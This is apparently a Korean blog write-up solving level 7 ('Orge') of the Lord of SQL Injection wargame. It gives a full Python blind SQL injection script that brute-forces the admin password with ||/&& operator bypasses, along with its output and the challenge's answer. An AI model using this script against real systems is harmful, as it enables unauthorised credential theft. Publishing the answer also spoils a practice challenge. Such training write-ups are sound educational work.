[LOSI] Lord of SQL Injection Level 7 - Orge

다음 만나볼 몬스터는 오우거이다.(이 홈페이지는 둔한 몬스터들에게 Blind SQL Injection문제를 배정한 느낌이 든다.)

<출처 : 위키백과 https://ko.wikipedia.org/wiki/%EC%98%A4%EA%B1%B0>

* 주의 반드시 지난 orc시간에 Blind SQL Injection를 이해하고 와야 한다! *

* 이 문제의 해결을 위한 Blind SQL Injection은 Python으로 작성되었다. "

2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

[LOSI] Lord of SQL Injection Level 4 - Orc

---

코드

DarkElf시간에 만났던 논리연산자의 우회가 섞인 Blind SQL Injection이다.

구조 자체가 Orc와 흡사하기에 바로 정답을 확인하자.

---

해결방법

Answer url : los.rubiya.kr/chall/XXXX.php?pw=7b751aec

import string
from requests import get

if __name__=="__main__" :
    
    url = ## orge 문제의 url ##
    length = 0
    cookie = dict(PHPSESSID="## 자신의 PHPSESSID ##")
    letters = string.digits + string.ascii_letters
    password = ''

    print("### find for passsword length ###")

    while(True):
        param = "?pw=1%27%20||%20id=%27admin%27%20%26%26%20length(pw)="+str(length)+"--%20;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin")>=0) :
            print("find password length : "+str(length))
            break

        print(str(length)+" is wrong length")
        length+=1


    print("### find for real password ##")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1%27%20%7C%7C%20id=%27admin%27%20%26%26%20ascii(substr(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
            new_url =  url+param
            rec=get(new_url,cookies=cookie)

            if(rec.text.find("Hello admin")>=0) :
                print("find password for location "+str(i)+" is : "+a)
                password += a
                break


    print("the answer : "+password)

        

 

pw의 길이, 실제 pw를 알아내었으며, or대신 파이프(||)를 사용했다.
Orc와 동일하기에 자세한 설명은 생략한다. 코드의 실행결과는 다음과 같다.

### find for passsword length###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find password length : 8


###find for real password###
find password for location 1 is : 7
find password for location 2 is : b
find password for location 3 is : 7
find password for location 4 is : 5
find password for location 5 is : 1
find password for location 6 is : a
find password for location 7 is : e
find password for location 8 is : c
the answer : 7b751aec

---

어렵지 않게 ORGE를 물리칠 수 있었다. 필자는 다음 관문에서 여러분들을 기다리겠다.